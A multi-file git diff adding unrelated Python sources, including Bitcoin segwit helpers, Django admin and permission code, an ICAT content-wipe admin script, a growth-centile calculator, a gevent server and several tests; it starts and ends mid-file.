16 + assert 2 <= len(program) <= 40 + assert version > 0 or len(program) in [20, 32] + return segwit_addr.encode("bc" if main else "bcrt", version, program) + +def script_to_p2wsh(script, main = False): + script = check_script(script) + return program_to_witness(0, sha256(script), main) + +def key_to_p2wpkh(key, main = False): + key = check_key(key) + return program_to_witness(0, hash160(key), main) + +def script_to_p2sh_p2wsh(script, main = False): + script = check_script(script) + p2shscript = CScript([OP_0, sha256(script)]) + return script_to_p2sh(p2shscript, main) + +def check_key(key): + if (type(key) is str): + key = hex_str_to_bytes(key) # Assuming this is hex string + if (type(key) is bytes and (len(key) == 33 or len(key) == 65)): + return key + assert(False) + +def check_script(script): + if (type(script) is str): + script = hex_str_to_bytes(script) # Assuming this is hex string + if (type(script) is bytes or type(script) is CScript): + return script + assert(False) diff --git a/pool/shard008/Python/0076386_permissions.py b/pool/shard008/Python/0076386_permissions.py new file mode 100644 index 0000000000000000000000000000000000000000..06fbb7d7dcc052f67dea829e60372cf240f86846 --- /dev/null +++ b/pool/shard008/Python/0076386_permissions.py @@ -0,0 +1,25 @@ +from rest_framework.permissions import BasePermission +from rest_framework.compat import is_authenticated +from django.contrib.auth.models import User, Group +from .models import SettingsUserGroups + +settingsUserGroups = SettingsUserGroups() + +class AllowAll(BasePermission): + + #Allows access only to authenticated users. + + def has_permission(self, request, view): + return request.user and is_authenticated(request.user) + +class VipOnly(BasePermission): + + #Allows access only to authenticated Vip users. + def has_permission(self, request, view): + + if request.user and is_authenticated(request.user): + return settingsUserGroups.isVip(request.user) + else: + return False + + diff --git a/pool/shard008/Python/0076390_cylinder.py b/pool/shard008/Python/0076390_cylinder.py new file mode 100644 index 0000000000000000000000000000000000000000..3c5ea857ca1519acbcc0a2a1b9fdaa0c544f783a --- /dev/null +++ b/pool/shard008/Python/0076390_cylinder.py @@ -0,0 +1,80 @@ + +# Brachyprint -- 3D printing brachytherapy moulds +# Copyright (C) 2013-14 James Cranch, Martin Green and Oliver Madge +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + + +''' +A cylinder primitive. +''' + +from __future__ import division +from math import pi, cos, sin + +from mesh import Vector + + + +def add_cylinder(mesh, radius, height, + n_circle = 10, n_height = 1, + v_axis = Vector(0,0,1), + basepoint = Vector(0,0,0), + twist_angle = 0, + close_bot = True, + close_top = True): + """Add a cylinder to an existing mesh. + + Arguments are as follows: + - mesh is the mesh to add to; + - radius is the radius; + - height is the height (expressed in multiples of v_axis); + - n_circle is the number of points to place around a circle; + - n_height is the number of layers to subdivide the cylinder into; + - v_axis is a unit vector in the direction of the cylinder; + - basepoint is a vector in the centre of the base of the cylinder; + - twist_angle is the phase with which points are distributed; + - close_bot and close_top say whether to give the circular disk + ends of the cylinder. + """ + + v_axis = Vector(v_axis).normalise() + (perp1, perp2) = v_axis.get_orthogonal_vectors() + basepoint = Vector(basepoint) + + def make_row(i): + for j in xrange(n_circle): + t = twist_angle + (i+2*j)*pi/n_circle + v = basepoint + perp1*(radius*cos(t)) + perp2*(radius*sin(t)) + v_axis*(height*i/n_height) + yield mesh.add_vertex(v) + + r = list(make_row(0)) + + if close_bot: + o = mesh.add_vertex(basepoint) + for j in xrange(n_circle): + mesh.add_face(r[j],o,r[(j+1)%n_circle]) + + for i in xrange(n_height): + s = list(make_row(i+1)) + for j in xrange(n_circle): + mesh.add_face(r[j],r[(j+1)%n_circle],s[j]) + mesh.add_face(s[(j-1)%n_circle],r[j],s[j]) + r = s + + if close_top: + o = mesh.add_vertex(basepoint + v_axis*height) + for j in xrange(n_circle): + mesh.add_face(s[j],s[(j+1)%n_circle],o) diff --git a/pool/shard008/Python/0076397_wipeicat.py b/pool/shard008/Python/0076397_wipeicat.py new file mode 100644 index 0000000000000000000000000000000000000000..4f6679ee25ea1585b487e0560d7c33c1058602b0 --- /dev/null +++ b/pool/shard008/Python/0076397_wipeicat.py @@ -0,0 +1,157 @@ +#! /usr/bin/python +# +# Delete all content from an ICAT. +# +# This is surprisingly involved to do it reliably. See the comments +# below for the issues that need to be taken into account. + +import logging +import time +from warnings import warn +import icat +import icat.config +from icat.ids import DataSelection +from icat.query import Query + +logging.basicConfig(level=logging.INFO) + +config = icat.config.Config(ids="optional") +client, conf = config.getconfig() + +if client.apiversion < '4.3.0': + raise RuntimeError("Sorry, icat.server version %s is too old, " + "need 4.3.0 or newer." % client.apiversion) +if client.ids and client.ids.apiversion < '1.6.0': + warn("ids.server %s is older then the recommended minimal version 1.6.0." + % client.ids.apiversion) +client.login(conf.auth, conf.credentials) + +# Limit of the number of objects to be dealt with at a time. +objlimit = 200 + + +def deleteobjs(query): + """Delete all objects of matching the query. + """ + query.setLimit( (0, objlimit) ) + while True: + objs = client.search(query) + if not objs: + break + # Deleting Study on ICAT 4.4.0 throws ICATInternalError. The + # deletion succeeds though, at least, the Study object is gone + # afterwards. This seem to be fixed in recent ICAT versions. + # As a work around, just ignore ICATInternalError here. + try: + client.deleteMany(objs) + except icat.ICATInternalError: + pass + + +# First step, delete all Datafiles. +# +# This is somewhat tricky: if the Datafile has been created with IDS +# by a file upload then we MUST delete it with IDS, otherwise it would +# leave an orphan file in the storage. If the Datafile has been +# created directly in the ICAT without IDS, we cannot delete it with +# IDS, because IDS will not find the actual file and will throw a +# server error. But there is no reliable way to tell the one from the +# other. As a rule, we will assume that the file has been created +# with IDS if the location attribute is set. + +# Delete all datafiles having location not set directly from ICAT +# first, because they would cause trouble when we try to delete the +# remaining datafiles from IDS, see Issue icatproject/ids.server#63. +deleteobjs(Query(client, "Datafile", conditions={"location": "IS NULL"})) + +# To delete datafiles from IDS, we must restore the datasets first, +# because IDS can only delete datafiles that are online. But +# restoring one dataset may cause another one to get archived if free +# main storage is low. So we might need several sweeps to get +# everything deleted. In each sweep, we delete everything that is +# currently online in a first step and file a restore request for some +# remaining datasets in a second step. +# +# Restoring a dataset may fail, in particular, if the files are not +# present in IDS storage, see above. If that happens, we reset the +# error to retry. But we do that only once per dataset. If the +# restore fails again, we give up und delete the dataset from ICAT, +# without considering IDS. +if client.ids: + dfquery = Query(client, "Datafile", + conditions={"location": "IS NOT NULL"}, limit=(0, 1)) + retriedDatasets = set() + while True: + deleteDatasets = [] + restoreDatasets = [] + errorDatasets = [] + failedDatasets = [] + for ds in client.searchChunked("Dataset", chunksize=objlimit): + try: + status = client.ids.getStatus(DataSelection([ds])) + except icat.IDSInternalError: + if ds in retriedDatasets: + failedDatasets.append(ds) + else: + errorDatasets.append(ds) + continue + if status == "ONLINE": + deleteDatasets.append(ds) + if len(deleteDatasets) >= objlimit: + client.deleteData(deleteDatasets) + client.deleteMany(deleteDatasets) + deleteDatasets = [] + elif status == "ARCHIVED": + if len(restoreDatasets) < objlimit: + restoreDatasets.append(ds) + if len(deleteDatasets) > 0: + client.deleteData(deleteDatasets) + client.deleteMany(deleteDatasets) + if len(restoreDatasets) > 0: + client.ids.restore(DataSelection(restoreDatasets)) + if len(failedDatasets) > 0: + client.deleteMany(failedDatasets) + retriedDatasets.difference_update(failedDatasets) + if len(errorDatasets) > 0: + client.ids.reset(DataSelection(errorDatasets)) + retriedDatasets.update(errorDatasets) + # This whole loop may take a significant amount of time, make + # sure our session does not time out. + client.autoRefresh() + # If any Datafile is left we need to continue the loop. + if client.search(dfquery): + time.sleep(60) + else: + break + + +# Second step, delete most content from ICAT. +# +# In theory, this could be done by just deleting the Facilities. By +# cascading, this would already wipe almost everything. Practical +# experience show that the object tree related to a single facility +# may be too large to be deleted in one single run, resulting in +# strange errors from the database backend. Thus, we start little by +# little, deleting all Investigations individually first. This +# already removes a major part of all content. Then we delete the +# Facilities which removes most of the rest by cascading. Finally we +# go for all the remaining bits, not related to a facility, such as +# DataCollection and Study. +# +# But we must take care not to delete the authz tables now, because +# with old ICAT versions before 4.4.0, the root user has only +# unconditional write access to the authz tables. For the other +# stuff, he needs a rule in place that allows him access. If we +# remove the authz tables too early, we may take away delete +# permission from ourselves. + +authztables = [ "Grouping", "Rule", "User", "UserGroup", ] +alltables = client.getEntityNames() +tables = ["Investigation", "Facility"] + list(set(alltables) - set(authztables)) +for t in tables: + deleteobjs(Query(client, t)) + + +# Last step, delete the authztables. +for t in authztables: + deleteobjs(Query(client, t)) diff --git a/pool/shard008/Python/0076404_admin.py b/pool/shard008/Python/0076404_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..07fa23d1d72eff5f8be9fc367affab6b91db0a26 --- /dev/null +++ b/pool/shard008/Python/0076404_admin.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +from django.contrib import admin +from django import forms + +from suit_ckeditor.widgets import CKEditorWidget + +from .models import Event, EventTalk, Sponsor, Support + + +class EventForm(forms.ModelForm): + + class Meta: + model = Event + widgets = { + 'full_description': CKEditorWidget( + editor_options={'startupFocus': True} + ) + } + + +class EventTalkInline(admin.StackedInline): + model = EventTalk + extra = 1 + + +class EventAdmin(admin.ModelAdmin): + inlines = (EventTalkInline,) + list_display = ('description', 'date', 'submission_deadline', 'index') + search_fields = ('description',) + form = EventForm + + +admin.site.register(Event, EventAdmin) +admin.site.register(Sponsor) +admin.site.register(Support) diff --git a/pool/shard008/Python/0076408_test_model_form_field.py b/pool/shard008/Python/0076408_test_model_form_field.py new file mode 100644 index 0000000000000000000000000000000000000000..860631496ff9a657a25f8a6fd1437559286a6682 --- /dev/null +++ b/pool/shard008/Python/0076408_test_model_form_field.py @@ -0,0 +1,88 @@ +import sqlalchemy as sa +from pytest import raises + +from tests import FormRelationsTestCase, MultiDict +from wtforms_alchemy import ModelForm, ModelFormField + + +class TestOneToOneModelFormRelations(FormRelationsTestCase): + def create_models(self): + class Location(self.base): + __tablename__ = 'location' + id = sa.Column(sa.Integer, autoincrement=True, primary_key=True) + name = sa.Column(sa.Unicode(255), nullable=True) + + class Event(self.base): + __tablename__ = 'event' + id = sa.Column(sa.Integer, primary_key=True) + name = sa.Column(sa.Unicode(255), nullable=False) + location_id = sa.Column(sa.Integer, sa.ForeignKey(Location.id)) + location = sa.orm.relationship(Location) + + self.Event = Event + self.Location = Location + + def create_forms(self): + class LocationForm(ModelForm): + class Meta: + model = self.Location + + class EventForm(ModelForm): + class Meta: + model = self.Event + + location = ModelFormField(LocationForm) + + self.LocationForm = LocationForm + self.EventForm = EventForm + + def save(self, event=None, data={}): + if not data: + data = { + 'name': u'Some event', + 'location-name': u'Some location', + } + if not event: + event = self.Event() + self.session.add(event) + form = self.EventForm(MultiDict(data)) + form.validate() + form.populate_obj(event) + self.session.commit() + return event + + def test_assigment_and_deletion(self): + self.save() + event = self.session.query(self.Event).first() + assert event.location.name == u'Some location' + data = { + 'name': u'Some event' + } + form = self.EventForm(MultiDict(data)) + form.validate() + form.populate_obj(event) + self.session.commit() + event = self.session.query(self.Event).first() + assert event.location.name is u'' + + def test_only_populates_related_if_they_are_obj_attributes(self): + class EventForm(ModelForm): + class Meta: + model = self.Event + + unknown_field = ModelFormField(self.LocationForm) + + self.EventForm = EventForm + + with raises(TypeError): + self.save(data={ + 'name': u'Some event', + 'unknown_field-name': u'Some location', + }) + + def test_updating_related_object(self): + event = self.save() + location_id = event.location.id + self.save(event, {'location-name': u'Some other location'}) + + assert event.location.id == location_id diff --git a/pool/shard008/Python/0076411_admin.py b/pool/shard008/Python/0076411_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..c771961afa889155993e1eefdc3affc2c92a8989 --- /dev/null +++ b/pool/shard008/Python/0076411_admin.py @@ -0,0 +1,26 @@ +from django.contrib import admin +from . import models + + +class TagAdmin(admin.ModelAdmin): + list_display = ('name', 'slug') + search_fields = ('name', ) + + +class EntryAdmin(admin.ModelAdmin): + list_display = ( + 'title', 'content_format', 'author', 'published', + 'published_on', 'updated_on' + ) + date_hierarchy = 'created_on' + list_filter = ('published', 'content_format') + search_fields = ('title', 'raw_content', 'tag_string') + prepopulated_fields = {"slug": ("title", )} + actions = ['publish_entries'] + + def publish_entries(self, request, queryset): + for entry in queryset: + entry.publish() + +admin.site.register(models.Tag, TagAdmin) +admin.site.register(models.Entry, EntryAdmin) diff --git a/pool/shard008/Python/0076413_test_gradient_mlp.py b/pool/shard008/Python/0076413_test_gradient_mlp.py new file mode 100644 index 0000000000000000000000000000000000000000..0f0c8e945d1dcb6771ead80a82dfdfa19cc50e59 --- /dev/null +++ b/pool/shard008/Python/0076413_test_gradient_mlp.py @@ -0,0 +1,89 @@ +# ---------------------------------------------------------------------------- +# Copyright 2015-2016 Nervana Systems Inc. +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ---------------------------------------------------------------------------- + +""" +Generalized gradient testing applied to mlp/linear layer +""" + +import itertools as itt +import numpy as np +from neon import NervanaObject +from neon.layers.layer import Linear +from neon.initializers.initializer import Gaussian +from grad_funcs import general_gradient_comp + + +# add a reset methods to the layer classes +# this is used to reset the layer so that +# running fprop and bprop multiple times +# produces repeatable results +# some layers just need the function defined +class LinearWithReset(Linear): + def reset(self): + pass + + +def pytest_generate_tests(metafunc): + # main test generator + # generates the parameter combos for + # the tests based on whether the + # "--all" option is given to py.test + # that option is added in conftest.py + + # global parameter + if metafunc.config.option.all: + bsz_rng = [16, 32, 64] + else: + bsz_rng = [16] + + # mlp tests + if 'mlpargs' in metafunc.fixturenames: + fargs = [] + if metafunc.config.option.all: + nin_rng = [1, 2, 3, 10] + nout_rng = [1, 2, 3, 10] + else: + nin_rng = [1, 2] + nout_rng = [3] + + # generate the params lists + fargs = itt.product(nin_rng, nout_rng, bsz_rng) + + # parameterize the call for all test functions + # with mlpargs as an argument + metafunc.parametrize("mlpargs", fargs) + + +def test_mlp(backend_cpu64, mlpargs): + nin, nout, batch_size = mlpargs + # run the gradient check on an mlp + batch_size = batch_size + NervanaObject.be.bsz = NervanaObject.be.batch_size = batch_size + + init = Gaussian() + layer = LinearWithReset(nout=nout, init=init) + inp = np.random.randn(nin, batch_size) + + epsilon = 1.0e-5 + pert_frac = 0.1 # test 10% of the inputs + # select pert_frac fraction of inps to perturb + pert_cnt = int(np.ceil(inp.size * pert_frac)) + pert_inds = np.random.permutation(inp.size)[0:pert_cnt] + + (max_abs, max_rel) = general_gradient_comp(layer, + inp, + epsilon=epsilon, + pert_inds=pert_inds) + assert max_abs < 1.0e-7 diff --git a/pool/shard008/Python/0076415_forms.py b/pool/shard008/Python/0076415_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..6db5d95f34651dc3ab4ef0748ac035e2da5783e1 --- /dev/null +++ b/pool/shard008/Python/0076415_forms.py @@ -0,0 +1,59 @@ +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 +# as published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# Authors: +# Caner Candan , http://caner.candan.fr +# Geraldine Starke , http://www.vegeclic.fr +# + +from django import forms +from django.contrib.contenttypes import generic +from django.contrib.contenttypes.models import ContentType +from . import models + +class ModelFormWithImage(forms.ModelForm): + main_image = 'main_image' + + def __init__(self, *args, **kwargs): + super(ModelFormWithImage, self).__init__(*args, **kwargs) + + if 'instance' in kwargs: + self.fields[self.main_image].queryset = models.Image.objects.filter(object_id=kwargs['instance'].id) + +class ModelFormWithCurrency(forms.ModelForm): + def __init__(self, *args, **kwargs): + super(ModelFormWithCurrency, self).__init__(*args, **kwargs) + + if 'instance' not in kwargs: + self.initial['currency'] = models.Parameter.objects.get(name='default currency').object_id + +class ParameterForm(forms.ModelForm): + class Meta: + model = models.Parameter + fields = ('site', 'name', 'content_type', 'object_id',) + + object_id = forms.ChoiceField() + + def __init__(self, *args, **kwargs): + super(ParameterForm, self).__init__(*args, **kwargs) + content_type = self.initial.get('content_type') + object_id = self.initial.get('object_id') + object_id_field = self.fields.get('object_id') + object_id_field.choices = [(o.id, o) for o in ContentType.objects.get(pk=content_type).get_all_objects_for_this_type()] + object_id_field.initial = object_id + +class ParameterCreationForm(forms.ModelForm): + class Meta: + model = models.Parameter + fields = ('site', 'name', 'content_type',) diff --git a/pool/shard008/Python/0076417_test_profile_views.py b/pool/shard008/Python/0076417_test_profile_views.py new file mode 100644 index 0000000000000000000000000000000000000000..01e6a2ddfe7f6f72aef768445fe4d3e2f85565c3 --- /dev/null +++ b/pool/shard008/Python/0076417_test_profile_views.py @@ -0,0 +1,56 @@ +import json +import time + +from flask import url_for + +import listenbrainz.db.user as db_user +from listenbrainz.tests.integration import IntegrationTestCase + + +class ProfileViewsTestCase(IntegrationTestCase): + def setUp(self): + super().setUp() + self.user = db_user.get_or_create(1, 'iliekcomputers') + db_user.agree_to_gdpr(self.user['musicbrainz_id']) + + def send_listens(self): + with open(self.path_to_data_file('user_export_test.json')) as f: + payload = json.load(f) + return self.client.post( + url_for('api_v1.submit_listen'), + data=json.dumps(payload), + headers={'Authorization': 'Token {}'.format(self.user['auth_token'])}, + content_type='application/json' + ) + + def test_export(self): + """ + Test for the user export of ListenBrainz data. + """ + # test get requests to export view first + self.temporary_login(self.user['login_id']) + resp = self.client.get(url_for('profile.export_data')) + self.assert200(resp) + + # send two listens for the user + resp = self.send_listens() + self.assert200(resp) + + time.sleep(2) + + # now export data and check if contains all the listens we just sent + resp = self.client.post(url_for('profile.export_data')) + self.assert200(resp) + data = json.loads(resp.data) + self.assertEqual(len(data), 3) + + def test_user_page_latest_listen(self): + resp = self.send_listens() + self.assert200(resp) + + time.sleep(1) + + r = self.client.get(url_for('user.profile', user_name=self.user['musicbrainz_id'])) + self.assert200(r) + props = json.loads(self.get_context_variable('props')) + self.assertEqual(props['latest_listen_ts'], 2) diff --git a/pool/shard008/Python/0076418_CDCcentile.py b/pool/shard008/Python/0076418_CDCcentile.py new file mode 100644 index 0000000000000000000000000000000000000000..f697dad9170e1bcca4af7dd6ddc9c90bd2d879b1 --- /dev/null +++ b/pool/shard008/Python/0076418_CDCcentile.py @@ -0,0 +1,123 @@ +#!usr/bin/python + +from math import * +from numpy import * +import scipy.stats as st +import sys + +def get_all_centiles(height,weight,age,sex): + #TODO: add conversion for metric/imperial? + heightCentile = calculate_height_centile(height, age, sex) + weightCentile = calculate_weight_centile(weight, age, sex) + bmiCentile = calculate_bmi_centile(heightCentile, weightCentile, sex) + return(heightCentile,weightCentile,bmiCentile) + + +def calculate_height_centile(height, age, sex): + heightData = genfromtxt('statage.csv', delimiter=',') + if sex=='M': + sex = 1 + else: + sex = 2 + + i=0; + while (heightData[i][0]!=sex)|(round(heightData[i][1])!=age): + i=i+1 + + [L,M,S,p3,p5,p10,p25,p50,p75,p90,p95,p97] = get_lms_and_percentiles(heightData[i]) + context = [p3,p5,p10,p25,p50,p75,p90,p95,p97] + heightCentile = lms_to_centile(height, L, M, S) + return heightCentile, context + + +def calculate_weight_centile(weight, age, sex): + weightData = genfromtxt('wtage.csv', delimiter=',') + if sex=='M': + sex = 1 + else: + sex = 2 + + i=0; + while (weightData[i][0]!=sex)|(round(weightData[i][1])!=age): + i=i+1 + + [L,M,S,p3,p5,p10,p25,p50,p75,p90,p95,p97] = get_lms_and_percentiles(weightData[i]) + context = [p3,p5,p10,p25,p50,p75,p90,p95,p97] + weightCentile = lms_to_centile(weight, L, M, S) + return weightCentile, context + + +def calculate_bmi_centile(height, weight, age, sex): + bmiData = genfromtxt('bmiagerev.csv',delimiter=',') + if sex=='M': + sex = 1 + else: + sex = 2 + + i=0; + + while (bmiData[i][0]!=sex)|(round(bmiData[i][1])!=age): + i=i+1 + + [L,M,S,p3,p5,p10,p25,p50,p75,p90,p95,p97] = get_lms_and_percentiles(bmiData[i]) + context = [p3,p5,p10,p25,p50,p75,p90,p95,p97] + bmi = weight/((height/100)**2) + bmiCentile = lms_to_centile(bmi, L, M, S) + return bmiCentile, context + + +def lms_to_centile(X, L, M, S): + # formulae taken from http://www.cdc.gov/growthcharts/percentile_data_files.htm + #X is the measurement under consideration + #returns the percentile as a number from 0 to 1 + if L==0: + Z = ln(X/M)/S + else: + Z = (((X/M)**L)-1)/(L*S) + centile = st.norm.cdf(Z) + return centile + +def get_lms_and_percentiles(array): + [L, M, S, p3, p5, p10, p25, p50, p75, p90, p95, p97] = array[2:14] + return [L, M, S, p3, p5, p10, p25, p50, p75, p90, p95, p97] + +def display_context(percentiles): + print "3%: " + str(percentiles[0]) + print "5%: " + str(percentiles[1]) + print "10%: " + str(percentiles[2]) + print "25%: " + str(percentiles[3]) + print "50%: " + str(percentiles[4]) + print "75%: " + str(percentiles[5]) + print "90%: " + str(percentiles[6]) + print "95%: " + str(percentiles[7]) + print "97%: " + str(percentiles[8]) + + +#grab command line args: (argv[0]=script name), height, weight, age, sex +height = float(sys.argv[1]) #centimetres +weight = float(sys.argv[2]) #kilograms +age = float(sys.argv[3]) #months +sex = str(sys.argv[4]) # "M" or "F" + +[heightCentile, heightContext] = calculate_height_centile(height, age, sex) +[weightCentile, weightContext] = calculate_weight_centile(weight, age, sex) +[bmiCentile, bmiContext] = calculate_bmi_centile(height, weight, age, sex) + +print("Height percentile is: %.1f" % (heightCentile*100) +"%") +print("Weight percentile is: %.1f" % (weightCentile*100) +"%") +print("BMI percentile is: %.1f" % (bmiCentile*100) +"%") + +print"-------------------" + +print "For context, the height centiles are: " +display_context(heightContext) + +print"-------------------" + +print "For context, the weight centiles are: " +display_context(weightContext) + +print"-------------------" + +print "For context, the BMI centiles are: " +display_context(bmiContext) diff --git a/pool/shard008/Python/0076419_p226.py b/pool/shard008/Python/0076419_p226.py new file mode 100644 index 0000000000000000000000000000000000000000..3bce09ac6670d7a0cffb7f027378c2bdd04514d3 --- /dev/null +++ b/pool/shard008/Python/0076419_p226.py @@ -0,0 +1,63 @@ +import math +import sys + + +class Problem(): + def __init__(self): + self.epsilon = 1e-15 + + def solve(self): + p = self.find_intersection() + q = 0.5 + print(self.integrate(p, q, 1e-5)) + + def integrate(self, p, q, step): + sum = 0.0 + x = p + while x <= q: + dy = self.blancmange_curve(x) - self.circle(x) + sum += step * dy + x += step + return sum + + def find_intersection(self): + # binary search on x in [0, 1/4]. + p = 0.0 + q = 0.25 + while abs(p - q) > self.epsilon: + r = (p + q) * 0.5 + f = self.blancmange_curve(p) - self.circle(p) + g = self.blancmange_curve(q) - self.circle(q) + h = self.blancmange_curve(r) - self.circle(r) + if f * h < 0.0: + q = r + elif g * h < 0.0: + p = r + return (p + q) * 0.5 + + def circle(self, x): + return 0.5 - math.sqrt(x * (0.5 - x)) + + def blancmange_curve(self, x): + y = 0.0 + n = 0 + while True: + dy = self.s(2 ** n * x) / 2 ** n + if dy < self.epsilon: + break + y += dy + n += 1 + return y + + def s(self, x): + n = int(x) + return min(x - n, n + 1 - x) + + +def main(): + problem = Problem() + problem.solve() + + +if __name__ == '__main__': + sys.exit(main()) \ No newline at end of file diff --git a/pool/shard008/Python/0076423_server.py b/pool/shard008/Python/0076423_server.py new file mode 100644 index 0000000000000000000000000000000000000000..5cc0f988a757559e3bcee96211827cabd9b56c7a --- /dev/null +++ b/pool/shard008/Python/0076423_server.py @@ -0,0 +1,178 @@ +# Copyright (c) 2009-2012 Denis Bilenko. See LICENSE for details. +"""TCP/SSL server""" +import sys +import _socket +from gevent.baseserver import BaseServer +from gevent.socket import EWOULDBLOCK, socket + + +__all__ = ['StreamServer', 'DatagramServer'] + + +if sys.platform == 'win32': + # SO_REUSEADDR on Windows does not mean the same thing as on *nix (issue #217) + DEFAULT_REUSE_ADDR = None +else: + DEFAULT_REUSE_ADDR = 1 + + +class StreamServer(BaseServer): + """A generic TCP server. Accepts connections on a listening socket and spawns user-provided *handle* + for each connection with 2 arguments: the client socket and the client address. + + If any of the following keyword arguments are present, then the server assumes SSL mode and uses these arguments + to create an SSL wrapper for the client socket before passing it to *handle*: + + - keyfile + - certfile + - cert_reqs + - ssl_version + - ca_certs + - suppress_ragged_eofs + - do_handshake_on_connect + - ciphers + + Note that although the errors in a successfully spawned handler will not affect the server or other connections, + the errors raised by :func:`accept` and *spawn* cause the server to stop accepting for a short amount of time. The + exact period depends on the values of :attr:`min_delay` and :attr:`max_delay` attributes. + + The delay starts with :attr:`min_delay` and doubles with each successive error until it reaches :attr:`max_delay`. + A successful :func:`accept` resets the delay to :attr:`min_delay` again. + """ + # the default backlog to use if none was provided in __init__ + backlog = 256 + + reuse_addr = DEFAULT_REUSE_ADDR + + def __init__(self, listener, handle=None, backlog=None, spawn='default', **ssl_args): + BaseServer.__init__(self, listener, handle=handle, spawn=spawn) + try: + if ssl_args: + ssl_args.setdefault('server_side', True) + from gevent.ssl import wrap_socket + self.wrap_socket = wrap_socket + self.ssl_args = ssl_args + else: + self.ssl_args = None + if backlog is not None: + if hasattr(self, 'socket'): + raise TypeError('backlog must be None when a socket instance is passed') + self.backlog = backlog + except: + self.close() + raise + + @property + def ssl_enabled(self): + return self.ssl_args is not None + + def set_listener(self, listener): + BaseServer.set_listener(self, listener) + try: + self.socket = self.socket._sock + except AttributeError: + pass + + def init_socket(self): + if not hasattr(self, 'socket'): + self.socket = self.get_listener(self.address, self.backlog, self.family) + self.address = self.socket.getsockname() + if self.ssl_args: + self._handle = self.wrap_socket_and_handle + else: + self._handle = self.handle + + @classmethod + def get_listener(self, address, backlog=None, family=None): + if backlog is None: + backlog = self.backlog + return _tcp_listener(address, backlog=backlog, reuse_addr=self.reuse_addr, family=family) + + def do_read(self): + try: + client_socket, address = self.socket.accept() + except _socket.error, err: + if err[0] == EWOULDBLOCK: + return + raise + return socket(_sock=client_socket), address + + def wrap_socket_and_handle(self, client_socket, address): + # used in case of ssl sockets + ssl_socket = self.wrap_socket(client_socket, **self.ssl_args) + return self.handle(ssl_socket, address) + + +class DatagramServer(BaseServer): + """A UDP server""" + + reuse_addr = DEFAULT_REUSE_ADDR + + def __init__(self, *args, **kwargs): + BaseServer.__init__(self, *args, **kwargs) + from gevent.lock import Semaphore + self._writelock = Semaphore() + + def init_socket(self): + if not hasattr(self, 'socket'): + self.socket = self.get_listener(self.address, self.family) + self.address = self.socket.getsockname() + self._socket = self.socket + try: + self._socket = self._socket._sock + except AttributeError: + pass + + @classmethod + def get_listener(self, address, family=None): + return _udp_socket(address, reuse_addr=self.reuse_addr, family=family) + + def do_read(self): + try: + data, address = self._socket.recvfrom(8192) + except _socket.error, err: + if err[0] == EWOULDBLOCK: + return + raise + return data, address + + def sendto(self, *args): + self._writelock.acquire() + try: + self.socket.sendto(*args) + finally: + self._writelock.release() + + +def _tcp_listener(address, backlog=50, reuse_addr=None, family=_socket.AF_INET): + """A shortcut to create a TCP socket, bind it and put it into listening state.""" + sock = socket(family=family) + if reuse_addr is not None: + sock.setsockopt(_socket.SOL_SOCKET, _socket.SO_REUSEADDR, reuse_addr) + try: + sock.bind(address) + except _socket.error: + ex = sys.exc_info()[1] + strerror = getattr(ex, 'strerror', None) + if strerror is not None: + ex.strerror = strerror + ': ' + repr(address) + raise + sock.listen(backlog) + sock.setblocking(0) + return sock + + +def _udp_socket(address, backlog=50, reuse_addr=None, family=_socket.AF_INET): + # we want gevent.socket.socket here + sock = socket(family=family, type=_socket.SOCK_DGRAM) + if reuse_addr is not None: + sock.setsockopt(_socket.SOL_SOCKET, _socket.SO_REUSEADDR, reuse_addr) + try: + sock.bind(address) + except _socket.error: + ex = sys.exc_info()[1] + strerror = getattr(ex, 'strerror', None) + if strerror is not None: + ex.strerror = strerror + ': ' + repr(address) + raise + return sock diff --git a/pool/shard008/Python/0076424_integer_to_roman.py b/pool/shard008/Python/0076424_integer_to_roman.py new file mode 100644 index 0000000000000000000000000000000000000000..75a0446ea5bdaf7355275c66af5ae0ea14b2d13a --- /dev/null +++ b/pool/shard008/Python/0076424_integer_to_roman.py @@ -0,0 +1,31 @@ +romanNumerals = { + 1000: "M", + 900: "CM", + 500: "D", + 400: "CD", + 100: "C", + 90: "XC", + 50: "L", + 40: "XL", + 10: "X", + 9: "IX", + 5: "V", + 4: "IV", + 1: "I", +} + + +def integerToRoman(number): + result = "" + + for integer, romanNumber in romanNumerals.items(): + while number >= integer: + result += romanNumber + number -= integer + return result + + +num = int(input("Enter a number: ")) + +print("\nYour number: " + str(num)) +print("Your number in Roman Numerals: " + integerToRoman(num)) diff --git a/pool/shard008/Python/0076427_init__.py b/pool/shard008/Python/0076427_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..31fb26f105977273ae87db8707c9f1f97eff3112 --- /dev/null +++ b/pool/shard008/Python/0076427_init__.py @@ -0,0 +1,201 @@ +""" + DIRAC - Distributed Infrastructure with Remote Agent Control + + The distributed data production and analysis system of LHCb and other VOs. + + DIRAC is a software framework for distributed computing which + allows to integrate various computing resources in a single + system. At the same time it integrates all kinds of computing + activities like Monte Carlo simulations, data processing, or + final user analysis. + + It is build as number of cooperating systems: + - Accounting + - Configuration + - Core + - Base + - DISET + - 